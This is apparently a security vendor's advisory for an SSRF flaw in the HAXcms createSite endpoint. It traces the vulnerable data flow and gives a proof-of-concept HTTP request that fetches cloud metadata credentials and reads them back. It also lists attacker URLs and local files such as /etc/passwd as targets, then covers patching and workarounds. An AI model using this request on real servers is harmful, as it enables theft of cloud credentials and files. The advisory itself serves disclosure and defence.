CVE-2026-46393
CVE-2026-46393 is a Server-Side Request Forgery (SSRF) vulnerability in @haxtheweb/haxcms-nodejs. O3 Security confirms whether CVE-2026-46393 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
HAXcms createSite SSRF Enables Arbitrary File Read
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-46393.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@haxtheweb/haxcms-nodejsnpmDescription
Summary
An authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access.
Details
The createSite endpoint in HAXcms (v11.0.6) accepts a build.files parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using file_get_contents().
The data flow is as follows:
- User input (
build.files) is processed viaobject_to_array()into a PHP array - Assigned to
$filesToDownloadinOperations.php(line 2626) - Iterated over in
Operations.php(line 2730), where each entry is passed toHAXCMSFile::save()with bulk-import enabled
In HAXCMSFile.php (line 30), the following occurs:
file_get_contents($upload['tmp_name']);
Here, tmp_name is attacker-controlled and may contain:
- External URLs (
http://attacker.com) - Internal services (
http://127.0.0.1) - Cloud metadata endpoints (
http://169.254.169.254) - Local file paths (
/etc/passwd,/proc/self/environ)
The bulk-import flag bypasses is_uploaded_file() validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.
There are no restrictions on:
- URL schemes (
http,file,gopher, etc.) - Destination IP ranges (internal, loopback, metadata services)
- Response content
All fetched content is written to:
sites/<sitename>/files/<filename>
and is accessible via the web.
PoC
Prerequisites:
- Authenticated session (default credentials:
admin/adminon fresh installs) - Valid JWT and CSRF token
Step 1: Log in and capture JWT + CSRF token
Step 2: Send crafted request:
POST /createSite HTTP/1.1
Host: target
Authorization: Bearer [JWT]
X-CSRF-Token: [TOKEN]
Content-Type: application/json
{
"site": {
"name": "poc"
},
"build": {
"files": {
"poc.txt": {
"tmp_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
}
}
Step 3: Retrieve response:
GET /sites/poc/files/poc.txt
The response will contain the fetched content (e.g., cloud credentials or internal service data).
Impact
- SSRF enabling access to internal network services
- Arbitrary file read via local filesystem paths
- Cloud credential exposure through metadata endpoints
- Data exfiltration via web-accessible file storage
Any authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @haxtheweb/haxcms-nodejs | all versions | 26.0.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @haxtheweb/haxcms-nodejs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @haxtheweb/haxcms-nodejs to 26.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-46393 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-46393 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-46393. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-46393 in your dependencies?
O3 detects CVE-2026-46393 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.